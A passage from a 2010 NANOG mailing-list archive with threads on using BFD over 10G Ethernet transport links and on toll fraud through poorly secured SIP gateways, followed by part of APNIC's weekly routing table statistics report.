converge. Since LAN-PHY doesn't have any built end-end alarming, some folks believe that we may encounter situations where a fiber break doesn't cause interfaces do go down. Convergence would then have to wait for IGP hellos to detect the problem. Is anybody else running BFD over 10G LAN-PHY transport links? Any comments around BFD for this application in general? Thanks, Serge __________________________________________________________________ Looking for the perfect gift? Give the gift of Flickr! http://www.flickr.com/gift/ From tdurack at gmail.com Fri Feb 5 09:47:27 2010 From: tdurack at gmail.com (Tim Durack) Date: Fri, 5 Feb 2010 10:47:27 -0500 Subject: BFD over p2p transport links In-Reply-To: <803804.84064.qm@web53606.mail.re2.yahoo.com> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> Message-ID: <9e246b4d1002050747s3cab668csd6254c576fc78d08@mail.gmail.com> On Fri, Feb 5, 2010 at 9:45 AM, Serge Vautour wrote: > Hello, > > I'm being asked to look into using BFD over our P2P transport links. Is anyone else doing this? Our transport links are all 10G Ethernet (LAN-PHY). There's no alarming inside of LAN-PHY like there is in SONET. The transport side should propagate a fiber break by stopping to send light on both ends. This is enough to cause the router interfaces to drop and for protocols to converge. We only use BFD on L2 circuits. Ethernet auto-neg includes limited link-fault signalling. It's not as good as SONET, but it will detect link-failure/one-way link. > Since LAN-PHY doesn't have any built end-end alarming, some folks believe that we may encounter situations where a fiber break doesn't cause interfaces do go down. Convergence would then have to wait for IGP hellos to detect the problem. Have not found GigE 10GigE to be a problem over fiber. Have found BFD to be problematic depending on the implementation and CPU load of your equipment. The closer you can stay to the physical layer, the better off you are. > Is anybody else running BFD over 10G LAN-PHY transport links? Any comments around BFD for this application in general? > > Thanks, > Serge > > > > ? ? ?__________________________________________________________________ > Looking for the perfect gift? Give the gift of Flickr! > > http://www.flickr.com/gift/ > > -- Tim:> Sent from Brooklyn, NY, United States From sthaug at nethelp.no Fri Feb 5 10:23:35 2010 From: sthaug at nethelp.no (sthaug at nethelp.no) Date: Fri, 05 Feb 2010 17:23:35 +0100 (CET) Subject: BFD over p2p transport links In-Reply-To: <803804.84064.qm@web53606.mail.re2.yahoo.com> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> Message-ID: <20100205.172335.74682420.sthaug@nethelp.no> > I'm being asked to look into using BFD over our P2P transport links. Is anyone else doing this? Our transport links are all 10G Ethernet (LAN-PHY). There's no alarming inside of LAN-PHY like there is in SONET. The transport side should propagate a fiber break by stopping to send light on both ends. This is enough to cause the router interfaces to drop and for protocols to converge. "The transport side *should* propagate ..." - but are you sure this will happen in all circumstances? Unless you are certain about this, you may want BFD. > Since LAN-PHY doesn't have any built end-end alarming, some folks believe that we may encounter situations where a fiber break doesn't cause interfaces do go down. Convergence would then have to wait for IGP hellos to detect the problem. > > Is anybody else running BFD over 10G LAN-PHY transport links? Any comments around BFD for this application in general? We run it on most 10G backbone (LAN-PHY) links. In addition to the issue of link down propagation, you may also want to standardize on BFD for all your backbone links, for simplicity's sake (same mechanism everywhere). Obviously, in order to do this you want to be sure that the BFD implementation won't give you lots of false positives. Steinar Haug, Nethelp consulting, sthaug at nethelp.no From tdurack at gmail.com Fri Feb 5 10:32:51 2010 From: tdurack at gmail.com (Tim Durack) Date: Fri, 5 Feb 2010 11:32:51 -0500 Subject: BFD over p2p transport links In-Reply-To: <20100205.172335.74682420.sthaug@nethelp.no> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> <20100205.172335.74682420.sthaug@nethelp.no> Message-ID: <9e246b4d1002050832x6d83946q7500a8a44f87bbbe@mail.gmail.com> On Fri, Feb 5, 2010 at 11:23 AM, wrote: > We run it on most 10G backbone (LAN-PHY) links. Hmm. Backbone L2 transport, or fiber/wave type transport? I'd be surprised to hear of people running it on dark-fiber-ish stuff. > In addition to the issue of link down propagation, you may also want > to standardize on BFD for all your backbone links, for simplicity's > sake (same mechanism everywhere). Obviously, in order to do this you > want to be sure that the BFD implementation won't give you lots of > false positives. And therein lies the challenge. Try asking Mr Steenburger what BFD stands for... > Steinar Haug, Nethelp consulting, sthaug at nethelp.no > > -- Tim:> Sent from Brooklyn, NY, United States From drew.weaver at thenap.com Fri Feb 5 11:33:21 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Fri, 5 Feb 2010 12:33:21 -0500 Subject: How common are wide open SIP gateways? Message-ID: Heya, Has anyone done any research or have any anecdotal numbers related to how common it is to have a SIP gateway sitting out on the Internet with no ACL or authentication? Recently we have noticed a couple of instances where we get abuse complaints from companies who claim that one of our hosting clients 'stole SIP service' from them. This reminds me somewhat of the 'SMTP open relay' days. We obviously take action and shut the offending user down but I can't help but wonder how common this practice is. Usually I just ask the company why their system allows anyone to use their SIP gateway and they usually say something like "We can't predict what IP our users will come in from... etc" I am just wondering if anyone else has noticed this trend. -Drew From sthaug at nethelp.no Fri Feb 5 11:43:00 2010 From: sthaug at nethelp.no (sthaug at nethelp.no) Date: Fri, 05 Feb 2010 18:43:00 +0100 (CET) Subject: BFD over p2p transport links In-Reply-To: <9e246b4d1002050832x6d83946q7500a8a44f87bbbe@mail.gmail.com> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> <20100205.172335.74682420.sthaug@nethelp.no> <9e246b4d1002050832x6d83946q7500a8a44f87bbbe@mail.gmail.com> Message-ID: <20100205.184300.74730383.sthaug@nethelp.no> > > We run it on most 10G backbone (LAN-PHY) links. > > Hmm. Backbone L2 transport, or fiber/wave type transport? I'd be > surprised to hear of people running it on dark-fiber-ish stuff. Both. For L2 transport through switches the usefulness is rather obvious. For WDM type transport because we're not 100% certain that we'll always get a link down propagated. For fiber - only for consistency, and the actual link down would normally be detected faster than BFD can react. Steinar Haug, Nethelp consulting, sthaug at nethelp.no From sethm at rollernet.us Fri Feb 5 11:44:17 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 05 Feb 2010 09:44:17 -0800 Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: <4B6C58F1.9080103@rollernet.us> On 2/5/10 9:33 AM, Drew Weaver wrote: > Heya, > > Has anyone done any research or have any anecdotal numbers related to how common it is to have a SIP gateway sitting out on the Internet with no ACL or authentication? Recently we have noticed a couple of instances where we get abuse complaints from companies who claim that one of our hosting clients 'stole SIP service' from them. This reminds me somewhat of the 'SMTP open relay' days. We obviously take action and shut the offending user down but I can't help but wonder how common this practice is. Usually I just ask the company why their system allows anyone to use their SIP gateway and they usually say something like "We can't predict what IP our users will come in from... etc" > > I am just wondering if anyone else has noticed this trend. > While it's true you can't predict the source IP when you have remote users with dynamic IP (think SIP at home or softphone on the road), that's no reason to omot basic MD5 digest auth. ~Seth From davidb at pins.net Fri Feb 5 11:45:13 2010 From: davidb at pins.net (David Birnbaum) Date: Fri, 5 Feb 2010 12:45:13 -0500 (EST) Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: If you are using Asterisk (and many derived PBXs), and your installation is old enough, and your default context will complete a call...then you may find you are giving free calling out. This was fixed at some point in the Asterisk default configuration files. We have noticed a lot of issues with Asterisk 1.2 and some 1.4 rollouts. FreePBX had some truck-sized holes in it. On our relatively small client base, we are seing SIP probing on more or less a non-stop basis, and some of our customers have been hacked over the years. It's definitely increasing - the modern equivilent of the open-DISA access many old PBX/VMs offer. On the plus side, they ususal start calling North Korea or Somalia or something which triggers the alarms, so they get shut down right away; we offer a default "Axis of Evil" block to stop international calling to the high-fraud countries that are out there and only allow calling there upon customer request. I wouldn't be at all surprised to find much cleverer people that have hacked PBXs and are making calls at a moderate pace to domestic or other inexpensive areas as to avoid detection. Cheers, David. ----- On Fri, 5 Feb 2010, Drew Weaver wrote: > Heya, > > Has anyone done any research or have any anecdotal numbers related to how common it is to have a SIP gateway sitting out on the Internet with no ACL or authentication? Recently we have noticed a couple of instances where we get abuse complaints from companies who claim that one of our hosting clients 'stole SIP service' from them. This reminds me somewhat of the 'SMTP open relay' days. We obviously take action and shut the offending user down but I can't help but wonder how common this practice is. Usually I just ask the company why their system allows anyone to use their SIP gateway and they usually say something like "We can't predict what IP our users will come in from... etc" > > I am just wondering if anyone else has noticed this trend. > > -Drew > > > From jlewis at lewis.org Fri Feb 5 11:46:38 2010 From: jlewis at lewis.org (Jon Lewis) Date: Fri, 5 Feb 2010 12:46:38 -0500 (EST) Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: On Fri, 5 Feb 2010, Drew Weaver wrote: > Has anyone done any research or have any anecdotal numbers related > to how common it is to have a SIP gateway sitting out on the Internet > with no ACL or authentication? Recently we have noticed a couple of > instances where we get abuse complaints from companies who claim that > one of our hosting clients 'stole SIP service' from them. This reminds > me somewhat of the 'SMTP open relay' days. We obviously take action and > shut the offending user down but I can't help but wonder how common this > practice is. Usually I just ask the company why their system allows > anyone to use their SIP gateway and they usually say something like "We > can't predict what IP our users will come in from... etc" Just because one of your users stole SIP service from a site doesn't mean their gateway doesn't do authenticate. We operate a number of SIP gateways, some of which do need to be relatively wide open ACL-wise. Like any other service, good usernames and passwords are a must. I've seen people trying to brute force SIP access on our servers just as they do with SSH (if you leave that open) or POP3. Stealing phone service is nothing new. SIP's just the latest vector for it. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From chaz at chaz6.com Fri Feb 5 11:50:14 2010 From: chaz at chaz6.com (Chris Hills) Date: Fri, 05 Feb 2010 17:50:14 +0000 Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: On 05/02/2010 17:33, Drew Weaver wrote: > Has anyone done any research or have any anecdotal numbers related to how common it is to have a SIP gateway sitting out on the Internet with no ACL or authentication? Recently we have noticed a couple of instances where we get abuse complaints from companies who claim that one of our hosting clients 'stole SIP service' from them. This reminds me somewhat of the 'SMTP open relay' days. We obviously take action and shut the offending user down but I can't help but wonder how common this practice is. Usually I just ask the company why their system allows anyone to use their SIP gateway and they usually say something like "We can't predict what IP our users will come in from... etc" > > I am just wondering if anyone else has noticed this trend. If you register your phone numbers in e164.arpa it is pretty useless adding records for a sip server that requires authentication because hardly anybody is going to be able to reach you! (e164.arpa provides phone number to service mapping, like ip6.arpa provides ipv6 address to hostname mapping) From tore.anderson at redpill-linpro.com Fri Feb 5 11:50:39 2010 From: tore.anderson at redpill-linpro.com (Tore Anderson) Date: Fri, 05 Feb 2010 18:50:39 +0100 Subject: BFD over p2p transport links In-Reply-To: <803804.84064.qm@web53606.mail.re2.yahoo.com> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> Message-ID: <4B6C5A6F.2070601@redpill-linpro.com> * Serge Vautour > I'm being asked to look into using BFD over our P2P transport links. > Is anyone else doing this? Our transport links are all 10G Ethernet > (LAN-PHY). There's no alarming inside of LAN-PHY like there is in > SONET. The transport side should propagate a fiber break by stopping > to send light on both ends. This is enough to cause the router > interfaces to drop and for protocols to converge. If only one strand in your fibre breaks, only the side that has the broken strand connected to Rx will see the physical interface go down. I've seen this happen with Extreme equipment at least. Best regards, -- Tore Anderson Redpill Linpro AS - http://www.redpill-linpro.com/ Tel: +47 21 54 41 27 From cra at WPI.EDU Fri Feb 5 11:59:58 2010 From: cra at WPI.EDU (Chuck Anderson) Date: Fri, 5 Feb 2010 12:59:58 -0500 Subject: BFD over p2p transport links In-Reply-To: <4B6C5A6F.2070601@redpill-linpro.com> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> <4B6C5A6F.2070601@redpill-linpro.com> Message-ID: <20100205175958.GB18923@angus.ind.WPI.EDU> On Fri, Feb 05, 2010 at 06:50:39PM +0100, Tore Anderson wrote: > * Serge Vautour > > > I'm being asked to look into using BFD over our P2P transport links. > > Is anyone else doing this? Our transport links are all 10G Ethernet > > (LAN-PHY). There's no alarming inside of LAN-PHY like there is in > > SONET. The transport side should propagate a fiber break by stopping > > to send light on both ends. This is enough to cause the router > > interfaces to drop and for protocols to converge. > > If only one strand in your fibre breaks, only the side that has the > broken strand connected to Rx will see the physical interface go down. > I've seen this happen with Extreme equipment at least. Not if you leave Auto-Negotiation enabled, which provides Remote Fault Indication. From jonathan at thurmantech.com Fri Feb 5 12:08:53 2010 From: jonathan at thurmantech.com (Jonathan Thurman) Date: Fri, 5 Feb 2010 10:08:53 -0800 Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: On 05/02/2010 17:33, Drew Weaver wrote: > > ? ? ? ?Has anyone done any research or have any anecdotal numbers related > to how common it is to have a SIP gateway sitting out on the Internet with > no ACL or authentication? Recently we have noticed a couple of instances > where we get abuse complaints from companies who claim that one of our > hosting clients 'stole SIP service' from them. This reminds me somewhat of > the 'SMTP open relay' days. We obviously take action and shut the offending > user down but I can't help but wonder how common this practice is. Usually I > just ask the company why their system allows anyone to use their SIP gateway > and they usually say something like "We can't predict what IP our users will > come in from... etc" > > I am just wondering if anyone else has noticed this trend. The VoiceOps mailing list (http://www.voiceops.org/) would probably have more info for you on this. Although many people are on NANOG too and may chime in. On Fri, Feb 5, 2010 at 9:50 AM, Chris Hills wrote: > If you register your phone numbers in e164.arpa it is pretty useless adding > records for a sip server that requires authentication because hardly anybody > is going to be able to reach you! If the call is to Me, then I don't care about authentication. If the call is to someone else, then I require authentication. That is fairly easy to configure on every SIP platform that I have used. -Jonathan From nicotine at warningg.com Fri Feb 5 12:16:27 2010 From: nicotine at warningg.com (Brandon Ewing) Date: Fri, 5 Feb 2010 12:16:27 -0600 Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: <20100205181627.GA24950@radiological.warningg.com> On Fri, Feb 05, 2010 at 12:45:13PM -0500, David Birnbaum wrote: > We have noticed a lot of issues with Asterisk 1.2 and some 1.4 rollouts. > FreePBX had some truck-sized holes in it. > FreePBX 2.6.0 defaults to refusing anonymous SIP calls. If you enable inbound anonymous calls, it includes only the "from-trunk" context, making it behave like a standard incoming over over a configured trunk. If you've configured FreePBX to allow outgoing calls from the trunk context, you have larger problems in general. -- Brandon Ewing (nicotine at warningg.com) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From davidb at pins.net Fri Feb 5 12:22:12 2010 From: davidb at pins.net (David Birnbaum) Date: Fri, 5 Feb 2010 13:22:12 -0500 (EST) Subject: How common are wide open SIP gateways? In-Reply-To: <20100205181627.GA24950@radiological.warningg.com> References: <20100205181627.GA24950@radiological.warningg.com> Message-ID: I should have prefaced that with "older installations" as well. As far as we can see, most of the newer packages have fixed the known truck-sized holes in their default configurations, but given the lack of any formal framework for testing this stuff, even the "big" switches have been found to have security issues from time to time. I have to admit I was surprised at the number of people I've run into over the years who unpacked Asterisk, played with a few phones, and stuck themselves on the Internet without any clear understanding of how exposed they are. Cheers, David. ----- On Fri, 5 Feb 2010, Brandon Ewing wrote: > On Fri, Feb 05, 2010 at 12:45:13PM -0500, David Birnbaum wrote: >> We have noticed a lot of issues with Asterisk 1.2 and some 1.4 rollouts. >> FreePBX had some truck-sized holes in it. >> > > FreePBX 2.6.0 defaults to refusing anonymous SIP calls. If you enable > inbound anonymous calls, it includes only the "from-trunk" context, making > it behave like a standard incoming over over a configured trunk. If you've > configured FreePBX to allow outgoing calls from the trunk context, you have > larger problems in general. > > -- > Brandon Ewing (nicotine at warningg.com) > From drew.weaver at thenap.com Fri Feb 5 12:26:51 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Fri, 5 Feb 2010 13:26:51 -0500 Subject: How common are wide open SIP gateways? In-Reply-To: References: <20100205181627.GA24950@radiological.warningg.com> Message-ID: Eventually I'll have to get around to setting up netflow so I can detect the scanners before it becomes a problem =) Just not a great deal of 'cohesiveness' with the current open source netflow implementations, and then all of the different Cisco gear has different caveats related to NF, so it's hard to use that as a good way to detect this sort of thing, although I'm guessing it can't be too hard to figure out which hosts are making a bunch of outbound connections to random IPs on 5060 =) -Drew -----Original Message----- From: David Birnbaum [mailto:davidb at pins.net] Sent: Friday, February 05, 2010 1:22 PM To: Brandon Ewing Cc: nanog at nanog.org Subject: Re: How common are wide open SIP gateways? I should have prefaced that with "older installations" as well. As far as we can see, most of the newer packages have fixed the known truck-sized holes in their default configurations, but given the lack of any formal framework for testing this stuff, even the "big" switches have been found to have security issues from time to time. I have to admit I was surprised at the number of people I've run into over the years who unpacked Asterisk, played with a few phones, and stuck themselves on the Internet without any clear understanding of how exposed they are. Cheers, David. ----- On Fri, 5 Feb 2010, Brandon Ewing wrote: > On Fri, Feb 05, 2010 at 12:45:13PM -0500, David Birnbaum wrote: >> We have noticed a lot of issues with Asterisk 1.2 and some 1.4 rollouts. >> FreePBX had some truck-sized holes in it. >> > > FreePBX 2.6.0 defaults to refusing anonymous SIP calls. If you enable > inbound anonymous calls, it includes only the "from-trunk" context, making > it behave like a standard incoming over over a configured trunk. If you've > configured FreePBX to allow outgoing calls from the trunk context, you have > larger problems in general. > > -- > Brandon Ewing (nicotine at warningg.com) > From cscora at apnic.net Fri Feb 5 12:44:12 2010 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 6 Feb 2010 04:44:12 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <201002051844.o15IiCDi028335@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 06 Feb, 2010 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 311094 Prefixes after maximum aggregation: 143960 Deaggregation factor: 2.16 Unique aggregates announced to Internet: 152571 Total ASes present in the Internet Routing Table: 33246 Prefixes per ASN: 9.36 Origin-only ASes present in the Internet Routing Table: 28867 Origin ASes announcing only one prefix: 14076 Transit ASes present in the Internet Routing Table: 4379 Transit-only ASes present in the Internet Routing Table: 102 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 23 Max AS path prepend of ASN ( 9503) 21 Prefixes from unregistered ASNs in the Routing Table: 819 Unregistered ASNs in the Routing Table: 132 Number of 32-bit ASNs allocated by the RIRs: 425 Prefixes from 32-bit ASNs in the Routing Table: 380 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 243 Number of addresses announced to Internet: 2182589120 Equivalent to 130 /8s, 23 /16s and 170 /24s Percentage of available address space announced: 58.9 Percentage of allocated address space announced: 66.1 Percentage of available address space allocated: 89.1 Percentage of address space in use by end-sites: 81.1 Total number of prefixes smaller than registry allocations: 149895 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 75113 Total APNIC prefixes after maximum aggregation: 25903 APNIC Deaggregation factor: 2.90 Prefixes being announced from the APNIC address blocks: 71774 Unique aggregates announced from the APNIC address blocks: 31611 APNIC Region origin ASes present in the Internet Routing Table: 3946 APNIC Prefixes per ASN: 18.19 APNIC Region origin ASes announcing only one prefix: 1079 APNIC Region transit ASes present in the Internet Routing Table: 625 Average APNIC Region AS path length visible: 3.6 Max APNIC Region AS path length visible: 23 Number of APNIC addresses announced to Internet: 491247392 Equivalent to 29 /8s, 71 /16s and 215 /24s Percentage of available APNIC address space announced: 77.1 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 55296-56319, 131072-132095 APNIC Address Blocks 1/8, 27/8, 43/8, 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 129717 Total ARIN prefixes after maximum aggregation: 67664 ARIN Deaggregation factor: 1.92 Prefixes being announced from the ARIN address blocks: 103877 Unique aggregates announced from the ARIN address blocks: 39391 ARIN Region origin ASes present in the Internet Routing Table: 13492 ARIN Prefixes per ASN: 7.70 ARIN Region origin ASes announcing only one prefix: 5215 ARIN Region transit ASes present in the Internet Routing Table: 1331 Average ARIN Region AS path length visible: 3.4 Max ARIN Region AS path length visible: 22 Number of ARIN addresses announced to Internet: 738405152 Equivalent to 44 /8s, 3 /16s and 43 /24s Percentage of available ARIN address space announced: 64.7 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 393216-394239 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 45/8, 47/8, 48/8, 52/8, 54/8, 55/8, 56/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 71727 Total RIPE prefixes after maximum aggregation: 41721 RIPE Deaggregation factor: 1.72 Prefixes being announced from the RIPE address blocks: 64752 Unique aggregates announced from the RIPE address blocks: 43107 RIPE Region origin ASes present in the Internet Routing Table: 14046 RIPE Prefixes per ASN: 4.61 RIPE Region origin ASes announcing only one prefix: 7283 RIPE Region transit ASes present in the Internet Routing Table: 2097 Average RIPE Region AS path length visible: 3.9 Max RIPE Region AS path length visible: 21 Number of RIPE addresses announced to Internet: 413672064 Equivalent to 24 /8s, 168 /16s and 34 /24s Percentage of available RIPE address space announced: 77.1 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 196608-197631 RIPE Address Blocks 2/8, 25/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 27455 Total LACNIC prefixes after maximum aggregation: 6572 LACNIC Deaggregation factor: 4.18 Prefixes being announced from the LACNIC address blocks: 25808 Unique aggregates announced from the LACNIC address blocks: 13850 LACNIC Region origin ASes present in the Internet Routing Table: 1239 LACNIC Prefixes per ASN: 20.83 LACNIC Region origin ASes announcing only one prefix: 406 LACNIC Region transit ASes present in the Internet Routing Table: 208 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 23 Number of LACNIC addresses announced to Internet: 70394624 Equivalent to 4 /8s, 50 /16s and 35 /24s Percentage of available LACNIC address space announced: 69.9 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 262144-263167 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 6477 Total AfriNIC prefixes after maximum aggregation: 1734 AfriNIC Deaggregation factor: 3.74 Prefixes being announced from the AfriNIC address blocks: 4855 Unique aggregates announced from the AfriNIC address blocks: 1405 AfriNIC Region origin ASes present in the Internet Routing Table: 341 AfriNIC Prefixes per ASN: 14.24 AfriNIC Region origin ASes announcing only one prefix: 93 AfriNIC Region transit ASes present in the Internet Routing Table: 73 Average AfriNIC Region AS path length visible: 3.8 Max AfriNIC Region AS path length visible: 16 Number of AfriNIC addresses announced to Internet: 14853376 Equivalent to 0 /8s, 226 /16s and 165 /24s Percentage of available AfriNIC address space announced: 44.3 AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1858 7511 472 Korea Telecom (KIX) 4755 1274 287 138 TATA Communications formerly 17488 1272 131 139 Hathway IP Over Cable Interne 18101 1091 221 40 Reliance Infocom Ltd Internet 4134 1018 19607 398 CHINANET-BACKBONE 9583 985 71 490 Sify Limited 7545 939 198 98 TPG Internet Pty Ltd 17974 887 277 43 PT TELEKOMUNIKASI INDONESIA 4808 851 1582 211 CNCGROUP IP network: China169 24560 843 299 170 Bharti Airtel Ltd., Telemedia Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4132 3875 317 bellsouth.net, inc. 4323 3785 1088 395 Time Warner Telecom 1785 1859 699 131 PaeTec Communications, Inc. 7018 1584 5760 1021 AT&T WorldNet Services 20115 1538 1487 673 Charter Communications 2386 1298 616 919 AT&T Data Communications Serv 3356 1208 10931 421 Level 3 Communications, LLC 11492 1144 222 14 Cable One 22773 1128 2600 66 Cox Communications, Inc. 6478 1109 241 225 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 35805 568 40 5 United Telecom of Georgia 3292 455 1904 397 TDC Tele Danmark 30890 451 100 204 Evolva Telecom 702 423 1822 337 UUNET - Commercial IP service 8551 397 353 37 Bezeq International 8866 376 110 24 Bulgarian Telecommunication C 3320 360 7069 309 Deutsche Telekom AG 3301 351 1412 312 TeliaNet Sweden 3215 347 3206 103 France Telecom Transpac 12479 322 576 5 Uni2 Autonomous System Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1571 2886 240 UniNet S.A. de C.V. 10620 996 225 145 TVCABLE BOGOTA 28573 855 679 86 NET Servicos de Comunicao S.A 7303 676 357 99 Telecom Argentina Stet-France 22047 534 310 15 VTR PUNTO NET S.A. 6503 490 167 192 AVANTEL, S.A. 11830 473 308 59 Instituto Costarricense de El 11172 445 99 70 Servicios Alestra S.A de C.V 14117 439 29 12 Telefonica del Sur S.A. 3816 432 194 70 Empresa Nacional de Telecomun Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 8452 1027 445 9 TEDATA 24863 722 144 40 LINKdotNET AS number 36992 541 119 139 Etisalat MISR 3741 273 854 233 The Internet Solution 2018 209 215 120 Tertiary Education Network 6713 177 167 12 Itissalat Al-MAGHRIB 29571 170 19 9 Ci Telecom Autonomous system 29975 134 506 15 Vodacom 33776 123 7 11 Starcomms Nigeria Limited 5536 116 8 3 Internet Egypt Network Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4132 3875 317 bellsouth.net, inc. 4323 3785 1088 395 Time Warner Telecom 1785 1859 699 131 PaeTec Communications, Inc. 4766 1858 7511 472 Korea Telecom (KIX) 7018 1584 5760 1021 AT&T WorldNet Services 8151 1571 2886 240 UniNet S.A. de C.V. 20115 1538 1487 673 Charter Communications 2386 1298 616 919 AT&T Data Communications Serv 4755 1274 287 138 TATA Communications formerly 17488 1272 131 139 Hathway IP Over Cable Interne Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 4323 3785 3390 Time Warner Telecom 1785 1859 1728 PaeTec Communications, Inc. 4766 1858 1386 Korea Telecom (KIX) 8151 1571 1331 UniNet S.A. de C.V. 4755 1274 1136 TATA Communications formerly 17488 1272 1133 Hathway IP Over Cable Interne 11492 1144 1130 Cable One 22773 1128 1062 Cox Communications, Inc. 18101 1091 1051 Reliance Infocom Ltd Internet 18566 1059 1049 Covad Communications Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.155.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 2.0.0.0/16 12654 RIPE NCC RIS Project 2.1.0.0/21 12654 RIPE NCC RIS Project 2.1.24.0/24 12654 RIPE NCC RIS Project 41.77.236.0/22 23456 32-bit ASN transition 41.223.92.0/22 36936 >>UNKNOWN<< 41.223.188.0/24 22351 Intelsat 41.223.189.0/24 26452 Local Communications Networks 